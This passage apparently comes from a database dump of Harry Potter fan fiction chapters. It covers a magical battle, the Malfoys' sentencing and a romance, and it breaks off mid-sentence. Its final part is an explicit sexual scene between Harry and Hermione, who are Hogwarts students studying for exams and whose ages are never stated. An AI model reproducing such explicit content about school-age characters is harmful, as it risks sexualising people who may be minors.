write.&nbsp; I&#8217;m glad the way it turn out though.&nbsp; I know you guys hate cliffhangers, but I needed to break it off here.&nbsp; I hope you guys liked the multiple duels this time; I&#8217;d never done that before.&nbsp; Also, I haven&#8217;t had too much response from my request last time.&nbsp; Again, I&#8217;m looking for people to do fanart for me for this trilogy.&nbsp; If you would like to draw something for me, please let me know.</p> '),
	(244, 21, ' <p>&#8220;What&#8230;what in heavens name is that thing?&#8221; Cassandra gasped in horror.</p>\n\n<p>&#8220;Something that you will never understand,&#8221; Harry replied cryptically.</p>\n\n<p>Despite her fear, the blonde would not be defeated so easily.</p>\n\n<p>&#8220;I don&#8217;t care what it is; I won&#8217;t be defeated by the likes of you.&nbsp; No one is stronger than the power of Slytherin.&#8221;</p>\n\n<p>Harry set Hermione back down on her feet and readied himself for Cassandra&#8217;s attack.</p>\n\n<p>Ron and the others watched anxiously as the final confrontation began to unfold.</p>\n\n<p>&#8220;I can&#8217;t believe that Hermione wasn&#8217;t killed!&#8221; Ron gasped.</p>\n\n<p>&#8220;As Harry said, his love wouldn&#8217;t allow her to die,&#8221; Lavender said with a slight smile.</p>\n\n<p>&#8220;Those two are truly exceptional,&#8221; Dumbledore said with a proud smile.</p>\n\n<p>&#8220;What is Cassandra going to do now though?&nbsp; She has nothing left to fight with,&#8221; Sirius stated.</p>\n\n<p>&#8220;I wouldn&#8217;t count her out yet, my friend,&#8221; Remus added.</p>\n\n<p>&#8220;Indeed, that orb contains magic even I have never seen,&#8221; Dumbledore said with an anxious look on his face.</p>\n\n<p>&#8220;Don&#8217;t think that this battle is over, Harry, because I&#8217;m more than capable of putting out that oversized fire of yours,&#8221; Cassandra said with a snicker.</p>\n\n<p>&#8220;Do your worst!&#8221; he growled back at her.</p>\n\n<p>Harry pulled Hermione close to him.</p>\n\n<p>&#8220;Herm, stay close to me, and you&#8217;ll be safe.&nbsp; I promise, we&#8217;ll be fine.&#8221;</p>\n\n<p>She did as he told her and pressed herself back against his chest.&nbsp; His arms extended out in front of her, and the phoenix shrieked as it prepared for battle.</p>\n\n<p>Cassandra raised took the orb out of her robes and pointed directly at the couple.&nbsp; The sphere glowed intensely, and she smiled evilly.</p>\n\n<p>&#8220;Kelvinore Enwraptor!&#8221;</p>\n\n<p>Harry readied himself for whatever Cassandra was about to throw at him.&nbsp; All of a sudden, the ground beneath his feet and around him for about a twenty-foot radius began to freeze.&nbsp; Huge slabs of ice exploded out of the ground and literally encased Harry and Hermione.&nbsp; The ice continued to expand until it swallowed up the entire phoenix; the mighty bird screeched as it became buried in its frigid tomb.</p>\n\n<p>&#8220;No, Harry and Hermione are trapped in there!&#8221; Ron gasped.&nbsp; He was about to run to them, but Sirius grabbed his robes.</p>\n\n<p>&#8220;Don&#8217;t Ron, you can&#8217;t help them now.&#8221;</p>\n\n<p>They could actually see the indentation of where their bodies were within the ice formation.&nbsp; Sirius, Ron, and the others looked on worriedly; they truly didn&#8217;t know if either Harry or Hermione were still alive or not.</p>\n\n<p>&#8220;How pathetic!&nbsp; I knew that even the great Harry Potter didn&#8217;t stand a chance against the power of Slytherin,&#8221; Cassandra laughed.</p>\n\n<p>&#8220;He could have had anything he wanted from me, but instead, he and his little bitch are going to remain trapped in there forever!&#8221;</p>\n\n<p>Cassandra looked over at Harry&#8217;s friends and smiled cruelly.</p>\n\n<p>&#8220;Don&#8217;t try anything stupid.&nbsp; That ice could contain a live volcano; you have no chance of rescuing them.&#8221;</p>\n\n<p>What Cassandra failed to notice was that the place where Harry and Hermione were trapped was beginning to glow.</p>\n\n<p>Suddenly, the ground began to shake, and Cassandra looked around for the cause of it.&nbsp; That was when everyone saw it.&nbsp; From within the glacier, an intense red glow was emanating.&nbsp; It became brighter and brighter, making the ice shimmer.</p>\n\n<p>&#8220;It&#8217;s Harry!&#8221; Lavender shouted.</p>\n\n<p>&#8220;That&#8217;s impossible!&#8221; Cassandra countered, &#8220;No one can escape that frozen prison.&#8221;</p>\n\n<p>&#8220;You don&#8217;t know, Harry,&#8221; Ron chided.</p>\n\n<p>The ice began to crack, and pieces snapped off one after the other.&nbsp; Cassandra drew back in horror at what she was seeing; this couldn&#8217;t be happening!</p>\n\n<p>From within the slab of ice, Harry clenched his fists, and his blood began to boil.&nbsp; He&#8217;d had enough of Cassandra Cross; he was done playing nice.</p>\n\n<p>Ron and others watched in utter amazement as the seemingly impenetrable wall of ice shattered into a thousand pieces.&nbsp; It exploded outwards, and the shards evaporated in less than five seconds.&nbsp; The phoenix erupted from its captivity, and it unfurled its wings once more.&nbsp; Cassandra&#8217;s eyes were wide with fear as she stepped back from the mighty beast.</p>\n\n<p>&#8220;How&#8230;what&#8230;he can&#8217;t&#8230;&#8221; She couldn&#8217;t do anything but stutter.</p>\n\n<p>&#8220;CASSANDRA!&#8221;</p>\n\n<p>Harry&#8217;s voice roared across the field, and the tone of it made everyone cringe.&nbsp; Even Hermione who was pressed up against him looked up at him in shock at his angry voice.&nbsp; She saw his eyes and knew that he&#8217;d been pushed too far.&nbsp; It was just like when he&#8217;d face Voldemort.&nbsp; There would be no more mercy from him this day, and to be honest, she wasn&#8217;t in the mood to be forgiving either.</p>\n\n<p>&#8220;Hermione&#8230;&#8221; he whispered.&nbsp; His tone was its usual gentle hue, but his eyes were unchanged.</p>\n\n<p>&#8220;Let&#8217;s finish this, Harry,&#8221; she confirmed for him.&nbsp; He raised his arms out in front of her and pressed his face against her hair.</p>\n\n<p>&#8220;Together, Herm, let&#8217;s end this.&#8221;</p>\n\n<p>Hermione raised her hands and pressed her palms up against the back of Harry&#8217;s hands.&nbsp; Their fingers entwined, and he whispered a single word in her ear.&nbsp; It took a split for her to realize what it was.</p>\n\n<p>&#8220;You will not defeat me, Harry; I won&#8217;t be beaten like my grandfather,&#8221; Cassandra growled even though she slowly backed off.</p>\n\n<p>Harry said nothing and neither did Hermione.&nbsp; Their hands clenched together, and the phoenix shot up into the sky.&nbsp; The firebird began to change shape and instead formed into a large stream of white light.&nbsp; Once it reached the clouds, it diverted outward across the sky into several rays of bright light.</p>\n\n<p>&#8220;WILDFIRE!!!&#8221;</p>\n\n<p>The couple&#8217;s voices spoke as one, and the rays of light streaked down from the heavens.&nbsp; It looked like it was raining sunshine as the beams became pillars of white-hot fire, and they aimed straight for Cassandra Cross.</p>\n\n<p>The young woman screamed in terror and held the Orb of Slytherin out in front of her, trying to defy the divine judgment that had been released on her.</p>\n\n<p>The attack hit the sphere and pierced through it within half a second.&nbsp; They hit Cassandra head on, and she practically wailed as the cosmic firestorm continued to rain down on her.&nbsp; The flames consumed the magic within the orb as well, and the evil that resided within it was destroyed for all time.</p>\n\n<p>&#8220;Sweet Merlin, what in bloody hell is that?&#8221; Ron gawked.&nbsp; No one else could respond; they were all dumbstruck by the massive attack.</p>\n\n<p>&#8220;Harry&#8230;he and Hermione&#8230;such power&#8230;I never thought&#8230;&#8221; Dumbledore had never stuttered before, but even he was speechless at the display of the two, young wizards.</p>\n\n<p>The rain of fire lasted several minutes until finally it ended.&nbsp; The streams of fire did not dissipate but instead reformed back into the shape of the phoenix.&nbsp; It flapped its wings and then returned to Harry and Hermione. &nbsp;Nothing was left of Cassandra Cross except a charred crater.&nbsp; </p>\n\n<p>The firebird returned inside Harry&#8217;s body, and the pair lowered their hands as the battle ended.&nbsp; Hermione turned her head to see Harry already gazing down at her, and she smiled up at him.</p>\n\n<p>&#8220;You did it, Harry.&#8221;</p>\n\n<p>&#8220;We did it, my angel.&#8221;</p>\n\n<p>Their lips came together, and their arms wrapped around each other.&nbsp; Harry clutched her against his body, and Hermione melted into his arms.</p>\n\n<p>&#8220;It&#8217;s over&#8230;once and for all.&#8221;</p>\n\n<p>&#8220;Yes, Harry, it&#8217;s finished.&#8221;</p>\n\n<p>He saw her worn out body and knew that she needed attention.&nbsp; Cradling her in his arms, Harry walked back towards Hogwarts.&nbsp; Hermione was asleep within seconds of him picking her up.</p>\n\n<p>&#8220;Harry&#8230;Hermione!&#8221; Ron called to his best friends.&nbsp; Lavender was lying in his arms, and she waved to the approaching couple.</p>\n\n<p>&#8220;Hey Ron, I see you aren&#8217;t any the worse for wear; I&#8217;d hate to see what Malfoy looks like,&#8221; Harry chided.</p>\n\n<p>&#8220;Is she okay?&#8221; his friend asked and pointed at Hermione.</p>\n\n<p>&#8220;She will be with Madam Pomfrey&#8217;s help.&#8221;</p>\n\n<p>&#8220;Yeah, Lavender needs some patching up too; let&#8217;s get them to the infirmary.&#8221;</p>\n\n<p>The two, young men grinned at each other and carried their ladies back inside the main gates.</p>\n\n<p>Hermione woke up out of a very relaxing sleep, and she was greeted with seeing Harry&#8217;s head lying on the side of the bed she was in.&nbsp; He was sitting next to her, but he was hunched over, probably rather painfully, in a chair by her bed.&nbsp; She smiled slightly and brushed her fingers through his hair.&nbsp; Harry&#8217;s face snapped up, and he gave her a tired smile.</p>\n\n<p>&#8220;Hey&#8230;&#8221; she whispered hoarsely.</p>\n\n<p>&#8220;Hey yourself.&#8221;</p>\n\n<p>&#8220;You look tired, love,&#8221; Hermione said while stroking his cheek.</p>\n\n<p>&#8220;Sorry I fell asleep,&#8221; he apologized.</p>\n\n<p>&#8220;Don&#8217;t be, we&#8217;ve been through a hard fight; it&#8217;s time to rest, Harry.&#8221;</p>\n\n<p>&#8220;Are you all right?&#8221;</p>\n\n<p>&#8220;I&#8217;m fine.&nbsp; Whatever healing spell Madam Pomfrey used is working wonders on my sore ribs so grab a bed and go to sleep.&#8221;</p>\n\n<p>&#8220;I can&#8217;t stay with you?&#8221; he said with a sly grin on his worn out face.&nbsp; She actually giggled a little.</p>\n\n<p>&#8220;You know I love sleeping next to you, honey, but to be honest, it wouldn&#8217;t do my broken ribs much good.&nbsp; They still have to set correctly; I&#8217;m sorry.&#8221;</p>\n\n<p>&#8220;Don&#8217;t apologize, I wasn&#8217;t serious, but I have an alternative.&#8221;</p>\n\n<p>Harry grabbed the vacant bed next to Hermione&#8217;s and shoved it up against hers.&nbsp; She smiled at his idea and shook her head at what Madam Pomfrey would say when she saw what he&#8217;d done to her infirmary.&nbsp; He crawled into the bed, and his eyes drooped closed before his head hit the pillow.&nbsp; Harry&#8217;s hand sought out hers, and Hermione entwined their fingers together.&nbsp; A small smile formed on his lips, and she squeezed his hand.</p>\n\n<p>&#8220;Love you, Hermione&#8230;&#8221; he whispered as his voice trailed off.</p>\n\n<p>&#8220;Love you too, Harry&#8230;&#8221; she answered as her eyes closed as well.</p>\n\n<p>Author&#8217;s Notes:&nbsp; And so ends the battle.&nbsp; I hoped everybody liked the way things turned out.&nbsp; This story isn&#8217;t finished yet so stay tuned for the last few chapters.</p> '),
	(244, 22, ' <p>The day after the battle, Hogwarts looked much more like a holding center than a school.&nbsp; Several classrooms were being used as interrogation centers for the captured Death Eaters.</p>\n\n<p>Outside the Great Hall, all the reporters were waiting anxiously.&nbsp; Inside, Lucius and Draco Malfoy were seated in front of the entire Ministry of Magic as well as Dumbledore, McGonagall, and Harry.&nbsp; When he&#8217;d been told that the Malfoys&#8217; hearing was to be this morning, he left Hermione in Ron&#8217;s care and immediately went to see to it that they both got the punishment they deserved.</p>\n\n<p>Fudge stood up from the center of the table and stared Lucius in the face.</p>\n\n<p>&#8220;Lucius, you have been found guilty of conspiring with Death Eaters, being in possession of illegal magical artifacts, and conspiracy to commit murder.&nbsp; Do you have anything to say for yourself?&#8221;</p>\n\n<p>Malfoy actually smirked at him.</p>\n\n<p>&#8220;You old fools can send me anywhere you want, but I promise you that I&#8217;ll get out, and when I do, each of you will learn what it means to cross my family.&#8221;</p>\n\n<p>Several members of the ministry visibly tensed at that statement as they knew how influential the Malfoy family was.&nbsp; Draco sat next to his father grinning from ear to ear; nobody got the best of his father!</p>\n\n<p>&#8220;In your case, Lucius, we have agreed to allow a single individual to decide your punishment; it is a right that he has earned,&#8221; Fudge stated.</p>\n\n<p>&#8220;And which of you is stupid enough to take sole responsibility for this?&#8221;</p>\n\n<p>The Minister of Magic smiled slightly and waved his hand for someone to come forward.</p>\n\n<p>&#8220;We will not decide your fate, Lucius&#8230;he will&#8230;&#8221; and he pointed behind the dark wizard.</p>\n\n<p>Turning his head, Malfoy&#8217;s eyes widened to see Harry Potter strolling past him.&nbsp; He stood in front of the long table where the ministry members were seated, and he nodded his head in respect.</p>\n\n<p>&#8220;Thank you, Minister Fudge, I have indeed decided upon a suitable punishment.&#8221;</p>\n\n<p>Harry turned to see both Lucius and Draco seething with anger, and he grinned widely.</p>\n\n<p>&#8220;Go ahead, Potter, send us to Azkaban, but I promise you that I&#8217;ll kill you the moment I get out.&#8221;</p>\n\n<p>&#8220;I know you would, Malfoy.&nbsp; Even if you were given a life sentence, you would still find a way to get out.&nbsp; No, I have something very different planned for both of you.&#8221;</p>\n\n<p>Harry had told no one of his idea for their sentencing.&nbsp; When Minister Fudge had offered him the opportunity prior to the hearing, he had immediately thought of this.&nbsp; It would drive both Malfoys far more crazy than being sent to Azkaban.</p>\n\n<p>&#8220;So tell me, Potter, just what did you come up with?&nbsp; Or did you need your little, Mudblood slut to think of something for you?&#8221; Draco growled.&nbsp; Harry wanted to deck him for that comment, but the grin remained on his face.</p>\n\n<p>&#8220;You two won&#8217;t be sent to Azkaban&#8230;&#8221; he began, making everyone in the room gasp.</p>\n\n<p>&#8220;Harry, what are you doing?&#8221; Fudge said in utter shock.</p>\n\n<p>&#8220;&#8230;what is going to happen is this&#8230;&#8221;</p>\n\n<p>Harry raised his hands and muttered a chant under his breath.&nbsp; He reached into his robes and drew out two, tiny vials.&nbsp; They held a dark burgundy liquid, and he clutched them tightly.&nbsp; Harry then threw them both at the Malfoys, and they spilled onto their robes and hands.</p>\n\n<p>&#8220;How dare you, Potter?&nbsp; This is an outrage!&#8221; Lucius growled.</p>\n\n<p>&#8220;What I&#8217;ve just done to you is the main part of your punishment.&#8221;</p>\n\n<p>Every member of ministry looked at Harry as if he were crazy, but Dumbledore began to see where he was going with this.</p>\n\n<p>&#8220;I think you&#8217;ve finally cracked, Potter; that was pathetic,&#8221; Draco laughed, but Harry&#8217;s grin only widened.</p>\n\n<p>&#8220;You may think so, Draco, but don&#8217;t trust your eyes.&nbsp; What you two were just doused with was called a Power Stripping potion&#8230;&#8221;</p>\n\n<p>Lucius&#8217; eyes widened in shock at the young man&#8217;s words.</p>\n\n<p>&#8220;&#8230;In addition, I also cast a spell, myself, that completely seals and negates any magic that either of you possessed.&nbsp; You won&#8217;t be able to use a wand; you&#8217;re won&#8217;t be able to use magic of any kind!&#8221;</p>\n\n<p>The two Malfoys gasped in horror at what Harry had just done, and Ministry of Magic was just as astounded.</p>\n\n<p>&#8220;Harry, why have you done this?&#8221; Fudge asked in awe.</p>\n\n<p>&#8220;The one thing that the Malfoys hate most is muggles and muggle-born wizards.&nbsp; What better punishment than if they were forced to live as muggles for the rest of their lives?&nbsp; Also, the second part is as equally important.&nbsp; The Malfoys&#8217; name is to be stripped from every wizarding text and archive known to man; there will be no record of their family or heritage.&nbsp; In short, they will be wiped from wizarding history; no one will remember their names.&#8221;</p>\n\n<p>Harry&#8217;s eyes drilled the words in Lucius and Draco&#8217;s face, and a look of utter terror came over both of their complexions.</p>\n\n<p>&#8220;This can&#8217;t be; you can&#8217;t do this to me!&#8221; Lucius shouted and jumped to his feet.&nbsp; He raised his hand and aimed for Harry.</p>\n\n<p>&#8220;Ramusorte!&#8221; The words were spoken, but no spell was cast.</p>\n\n<p>Lucius stared at his hand in shock.&nbsp; He said the spell over and over again, but nothing ever happened.&nbsp; Harry actually chuckled.</p>\n\n<p>&#8220;As I said, Lucius, you have no powers anymore; you are now a muggle.&nbsp; And just in case you two think about finding some other way to kill me, even if I die that curse won&#8217;t be lifted from the two of you.&nbsp; You will live your lives as the one thing that you abhor!&#8221;</p>\n\n<p>The Ministry of Magic was astounded at the punishment that Harry had come up with.&nbsp; They&#8217;d never have believed that he could&#8217;ve made such a choice.&nbsp; He hadn&#8217;t just sentenced Lucius; he&#8217;d destroyed his entire reputation and his family&#8217;s.</p>\n\n<p>&#8220;That is all I have to say, Minister Fudge,&#8221; Harry finished and crossed his arms over his chest.</p>\n\n<p>&#8220;Very well.&nbsp; The punishment has been chosen and carried out.&nbsp; Lucius and Draco Malfoy, you will be taken from here and never again be allowed in any wizarding establishment or anything connected to our world.&nbsp; Take them away!&#8221;</p>\n\n<p>Draco was screaming as he was pulled out of his chair, but his father was stunned speechless. &nbsp;It couldn&#8217;t be; he was muggle!&nbsp; The shame was too much to bare!</p>\n\n<p>&#8220;I can&#8217;t be a muggle!&#8221; he shouted.</p>\n\n<p>&#8220;I&#8217;m afraid you are,&#8221; Harry answered, &#8220;now, get him out of my sight!&#8221;</p>\n\n<p>Once the Malfoys were escorted out of the Great Hall with flash bulbs going off everywhere, Harry once again faced the Ministry of Magic.</p>\n\n<p>&#8220;This council accepts your decision, Mr. Potter, however unexpected it may have been.&nbsp; The second matter at hand pertains to the recent discovery of Cassandra Cross being Tom Riddle&#8217;s granddaughter.&nbsp; We have determined that she was the last remaining relative of his family.&nbsp; I would like to thank you for your help in finally closing the book on that family&#8217;s story.&#8221;</p>\n\n<p>&#8220;Thank you, minister, but it is Hermione you should be thanking.&nbsp; She was the one who fought Cassandra; I just helped a little bit.&#8221;</p>\n\n<p>&#8220;Indeed, Miss Granger handled herself quite well.&nbsp; As a reward, both you and Miss Granger will be given the Order of Merlin &#8211; First Class.&nbsp; In addition, your friend, Mr. Weasley and Miss Lavender Brown will receive awards of appreciation for aiding the ministry in capturing the last of the Death Eaters.&nbsp; I take that this meets with your approval, Harry.&#8221;</p>\n\n<p>&#8220;Yes sir, thank you very much,&#8221; he said with a smile.&nbsp; This time, he would accept the award along with his friends.</p>\n\n<p>&#8220;It is us who should be thank you, Harry.&nbsp; You have done quite well for yourself, despite your disregard for certain rules.&nbsp; I look forward to seeing what you become in the future &#8211; perhaps even becoming one of our Auror trainers.&#8221;</p>\n\n<p>&#8220;I&#8217;m still finalizing what I will do, but I thank you for the offer, Minister Fudge.&nbsp; And now, if I may take my leave, my fianc&#233; is still in infirmary, and I wish to see her.&#8221;</p>\n\n<p>Harry nodded his head to each of the council members and then walked out of the Great Hall.&nbsp; Fudge looked at Dumbledore, and the headmaster was trying hard not to grin.</p>\n\n<p>&#8220;That boy never ceases to amaze me,&#8221; Fudge said and rolled his eyes.</p>\n\n<p>&#8220;That&#8217;s why he&#8217;s Harry Potter,&#8221; Dumbledore chuckled.</p>\n\n<p>Harry didn&#8217;t know whether he walked or floated to the hospital wing, but the smile would not leave his face.&nbsp; As he entered the infirmary, he saw Hermione sitting up in her bed.&nbsp; A large book was open in her lap, and she was reading intently.</p>\n\n<p>&#8220;Harry, there you are,&#8221; Ron stated from his seat next to Lavender.&nbsp; His girlfriend gave Harry a bright smile and squeezed the redhead&#8217;s hand.</p>\n\n<p>Hermione looked up from her reading, and her eyes glowed at seeing her fianc&#233;.&nbsp; She would never get tired of seeing him.&nbsp; His profile alone could make her insides turn to butter, and his eyes would melt her in a matter of seconds.</p>\n\n<p>&#8220;Hey love, where have you been?&nbsp; I was getting a little bored here all by my lonesome self,&#8221; she pouted playfully.</p>\n\n<p>&#8220;Right&#8230;that&#8217;s why you were rereading &#8216;Hogwarts A History&#8217; for the thousandth time.&#8221;</p>\n\n<p>&#8220;What took you so long?&#8221; Ron asked.</p>\n\n<p>&#8220;I went to see the Malfoy&#8217;s trial hearing.&#8221;</p>\n\n<p>His friends visibly gasped.</p>\n\n<p>&#8220;Harry, why did you do that?&#8221; Hermione asked with a worried expression.&nbsp; He clutched her hand tightly.</p>\n\n<p>&#8220;I wanted to make sure that they got the punishment they deserved.&nbsp; As fate would have it, Minister Fudge and the rest of the council awarded me the right to pass sentence on both Lucius and Draco Malfoy.&#8221;</p>\n\n<p>&#8220;Bloody hell, Harry, so what&#8217;d you do?&nbsp; Did you send to Azkaban for the rest of their lives?&nbsp; Did you ask that they be eaten alive by flesh-eating slugs?&#8221; Ron was nearly drooling in anticipation.</p>\n\n<p>&#8220;No Ron, I don&#8217;t have that kind of imagination.&#8221;</p>\n\n<p>&#8220;No one does,&#8221; Lavender cut in, and she pecked her boyfriend on the lips.</p>\n\n<p>&#8220;I gave the Malfoys their own, personal hell to live in.&#8221;</p>\n\n<p>&#8220;What do you mean, Harry?&#8221; Hermione asked, now seriously curious.</p>\n\n<p>&#8220;Well&#8230;I took a page out of your book, sweetheart.&nbsp; I dowsed them both with a very special potion.&#8221;</p>\n\n<p>&#8220;A potion&#8230;Harry, that&#8217;s so lame,&#8221; Ron groaned.</p>\n\n<p>&#8220;Wait a minute, Ron, just what kind of potion was it, Harry?&#8221;</p>\n\n<p>&#8220;It was a power-stripping potion.&nbsp; It stripped both of them of any magical powers they had.&nbsp; I also cast a seal on both of them so that there is no way that they can ever use magic again.&nbsp; They&#8217;re going to live as muggles for the rest of their lives!&#8221; he said proudly.</p>\n\n<p>Just like the ministry, his friends were shocked speechless.</p>\n\n<p>&#8220;Harry&#8230;that was bloody brilliant!&#8221; Lavender said happily.</p>\n\n<p>&#8220;No way!&nbsp; You mean, Draco and his dad are really muggles!&nbsp; That&#8217;s fantastic!&#8221; Ron laughed.</p>\n\n<p>Hermione was smiling brightly at her beloved.</p>\n\n<p>&#8220;I can&#8217;t believe you came up with something like that, Harry.&nbsp; How did you do that?&#8221;</p>\n\n<p>&#8220;Well Herm, I remember all the bullshit Malfoy put you and the other muggleborns through for the last seven years.&nbsp; His family hated you with a vengeance, so there was no worse punishment than if they were both forced to live as a muggle.&nbsp; In addition, their family name is to be erased from every wizarding archive and book.&nbsp; The Malfoys will never have existed in wizarding history.&#8221;</p>\n\n<p>&#8220;My gosh, Harry, you steamrolled right over them,&#8221; Lavender said while shaking her head.</p>\n\n<p>&#8220;Yeah, you bypassed everything and went to a good, old-fashioned ass-kicking!&#8221; Ron said with a cheeky grin.</p>\n\n<p>Harry grinned as well then turned to face Hermione again.</p>\n\n<p>&#8220;Also Herm, there&#8217;s something else.&nbsp; The Ministry awarded you the Order of Merlin &#8211; First Class for your skill and courage when you fought Cassandra.&#8221;</p>\n\n<p>His fianc&#233;&#8217;s mouth dropped open, and Ron nearly fell out of his chair.</p>\n\n<p>&#8220;I don&#8217;t believe it!&nbsp; I&#8217;ve never heard of a muggleborn receiving such a high award before!&#8221;</p>\n\n<p>&#8220;Harry&#8230;I don&#8217;t what to say; I don&#8217;t deserve it.&nbsp; You helped me so much.&#8221;</p>\n\n<p>He gathered his Hermione into his arms and kissed her forehead.</p>\n\n<p>&#8220;All I did was show you what you could do, Hermione; you had to execute and follow through with it.&nbsp; In addition, Ron&#8230;you and Lavender are also getting an award.&nbsp; Fudge gave you each a special recognition for helping to capture the last of the Death Eaters.&#8221;</p>\n\n<p>&#8220;Well&#8230;all in a day&#8217;s work,&#8221; Ron sighed and puffed out his chest.</p>\n\n<p>&#8220;Oh, you&#8217;re just a bundle of humility,&#8221; Lavender jibed.</p>\n\n<p>Harry smiled at his friends and pulled Hermione closer to him.&nbsp; He rocked her in his arms, and she burrowed into his chest.</p>\n\n<p>&#8220;Harry&#8230;&#8221; she cooed softly.</p>\n\n<p>&#8220;What is it, beautiful?&#8221; he whispered soothingly.</p>\n\n<p>&#8220;We have to study for the NEWTs.&#8221; Harry should&#8217;ve known she would say that.</p>\n\n<p>&#8220;Hermione, talk about breaking the mood,&#8221; Ron groaned.</p>\n\n<p>&#8220;Hey, just because we&#8217;re all heroes doesn&#8217;t mean we can slack off,&#8221; she reprimanded.</p>\n\n<p>&#8220;You heard her, Ron, always do what Hermione orders,&#8221; he chuckled.</p>\n\n<p>&#8220;Very funny, Harry,&#8221; and he received a playful nudge in the ribs.</p>\n\n<p>&#8220;Herm?&#8221; he asked and tilted her chin up.</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>He looked down into her eyes and cupped her cheek.</p>\n\n<p>&#8220;I need something to last me till dinner,&#8221; and he crushed his mouth against hers.</p>\n\n<p>Hermione went limp as Harry stole the breath from her lungs and the will from her body.&nbsp; Her arms wrapped around his neck, and his tongue masterfully toured the inside of her mouth.</p>\n\n<p>&#8220;That wasn&#8217;t fair,&#8221; Hermione groaned when he let her up for air.</p>\n\n<p>&#8220;What wasn&#8217;t?&#8221; Harry said innocently.</p>\n\n<p>&#8220;Now, I won&#8217;t be able to study without wanting you all day.&#8221;</p>\n\n<p>Ron and Lavender gawked at her blatant admission, but Harry just grinned.</p>\n\n<p>&#8220;Don&#8217;t worry, love, as you say, we study first&#8230;and play later,&#8221; he whispered in her ear.</p>\n\n<p>Her body thrummed in anticipation.&nbsp; Oh boy, she wanted him right now!&nbsp; That was it; it would be no-holds-barred tonight!&nbsp; Her ribs were doing much better, and she had just about all of her strength back.&nbsp; It was time for her and Harry to do some serious making up.</p>\n\n<p>Harry walked into the library and covered his mouth as he yawned loudly.&nbsp; A soft giggle escaped Hermione as she stood next to him.&nbsp; Hmm, they had definitely done some making up last night; she&#8217;d barely let the poor, young man sleep!</p>\n\n<p>&#8220;Tired, honey?&#8221; she asked with a wide grin.&nbsp; Harry rolled his eyes and pulled her into his arms.</p>\n\n<p>&#8220;Well&#8230;considering you only gave me an hour of sleep last night, I should be.&nbsp; However, anytime you want to resume our &#8216;activities&#8217;, please let me know,&#8221; he replied with his own crooked grin.</p>\n\n<p>&#8220;Sounds interesting, maybe after lunch,&#8221; Hermione cooed and licked her lips.</p>\n\n<p>Harry couldn&#8217;t help the groan that left his mouth.&nbsp; Dammit, he couldn&#8217;t stand it when she did that &#8211; especially since he knew what she could do with those lips.</p>\n\n<p>&#8220;I swear, I&#8217;m the luckiest wizard in the world,&#8221; and guided her to a back corner of the library.</p>\n\n<p>&#8220;Why&#8217;s that?&#8221; she inquired and set her things down on the table.</p>\n\n<p>Harry leaned over her shoulder and growled softly in her ear.</p>\n\n<p>&#8220;Cause I have the most amazing woman in my life.&#8221;</p>\n\n<p>They both sat down, and Hermione stared at him intently.</p>\n\n<p>&#8220;Please elaborate,&#8221; she said with an arrogant smile.&nbsp; Harry slid closer, and his arms slinked around her.</p>\n\n<p>&#8220;Well&#8230;she&#8217;s a bit of a bookworm, but I like that about her.&nbsp; She&#8217;s smart and beautiful, and she has the most wonderful heart.&#8221;</p>\n\n<p>Harry&#8217;s hands slid inside her robes and cupped her breasts, making Hermione gasped in shock; she couldn&#8217;t believe he was doing this here!</p>\n\n<p>&#8220;Harry&#8230;&#8221;</p>\n\n<p>&#8220;Plus, she&#8217;s got this hot, little body that drives me crazy.&nbsp; She&#8217;s so good&#8230;the way her breasts tremble under my hands&#8230;&#8221; and squeezed the soft mounds.&nbsp; One of his hands glided down to her legs.</p>\n\n<p>&#8220;&#8230;and she&#8217;s got these sexy legs that feel wonderful when they&#8217;re wrapped around me while I&#8217;m inside her.&nbsp; And she&#8217;s got these amazing lips that are as soft as a rose.&nbsp; She&#8217;s my angel, and her name is Hermione Potter.&#8221;</p>\n\n<p>Her face was beet red, and her body was buzzing with need.&nbsp; Damn him, his voice was too sexy for his own good; he knew she couldn&#8217;t handle him talking in her ear like this.</p>\n\n<p>&#8220;Harry&#8230;this&#8230;isn&#8217;t fair&#8230;&#8221;</p>\n\n<p>&#8220;What&#8217;s wrong?&nbsp; Am I bothering you?&#8221; he snickered.</p>\n\n<p>Hermione tried to glare at him, but his grin was too stupid looking.&nbsp; Her eyes flashed around to see if anyone was around.&nbsp; She couldn&#8217;t believe she was about to do this, even after last night, but she needed him badly.</p>\n\n<p>&#8220;When are Ron and Lavender meeting us?&#8221; she croaked out.</p>\n\n<p>&#8220;About twenty minutes, why?&#8221;</p>\n\n<p>Harry suddenly found himself hauled to his feet, and Hermione dragged him further back into the library.&nbsp; She pulled into one of the long aisles of books and almost slammed him into the shelves.</p>\n\n<p>&#8220;Hermione&#8230;what&#8230;&#8221; he couldn&#8217;t speak as her tongue jammed down his throat.</p>\n\n<p>&#8220;Harry&#8230;shut up&#8230;need you&#8230;&#8221;</p>\n\n<p>She grabbed his hands and placed them on her breasts.&nbsp; Harry was shocked.&nbsp; He&#8217;d never seen such a lust-crazed Hermione before, and to be frank, he liked it.&nbsp; He pressed her up against the opposite shelf and ground his hips against her.</p>\n\n<p>&#8220;Hermione&#8230;you sure about this?&nbsp; If you&#8217;re nervous&#8230;&#8221;</p>\n\n<p>In a flash, she grabbed her wand and tapped them both on the head.</p>\n\n<p>&#8220;There.&nbsp; Now, no one can see or hear us,&#8221; she said smugly.</p>\n\n<p>&#8220;Still Herm, if you don&#8217;t want to, we can always&#8230;&#8221; his voice was concerned despite being so husky.</p>\n\n<p>Hermione took one of his hands from her breasts and guided it downward.&nbsp; She brought it up under her skirt and placed it on her junction.</p>\n\n<p>&#8220;Harry&#8230;do you feel how hot I am&#8230;that&#8217;s because of you, you git!&nbsp; I don&#8217;t care where we are; I need you in me now!&#8221;</p>\n\n<p>Hermione let go of his hand and quickly unzipped his pants.&nbsp; Her hand searched for its target and found it waiting for her.&nbsp; Harry growled as she stroked his now throbbing erection.</p>\n\n<p>&#8220;The hell with it&#8230;&#8221; and Harry hiked up her skirt.</p>\n\n<p>She wrapped her long legs around his waist, and Harry pushed her panties out of the way.&nbsp; Hermione lined him up, and he slid home in one stroke.</p>\n\n<p>&#8220;Harry&#8230;do you feel it&#8230;how wet I am.&nbsp; That&#8217;s for you; it&#8217;s only for you.&#8221;</p>\n\n<p>&#8220;Yes, my angel, I can feel it; you&#8217;re only like this for me,&#8221; he said smugly and slammed his hips into her.</p>\n\n<p>Hermione shrieked as he struck a spot deep inside her, and Harry praised the invention of silencing charms.&nbsp; He loved it when she screamed for him.&nbsp; He buried himself within her sweet depths again and again, taking from her and giving to her all at the same time.&nbsp; Harry could hear her mumbling in his ear of how much she loved him, and he caught her mouth for a hungry 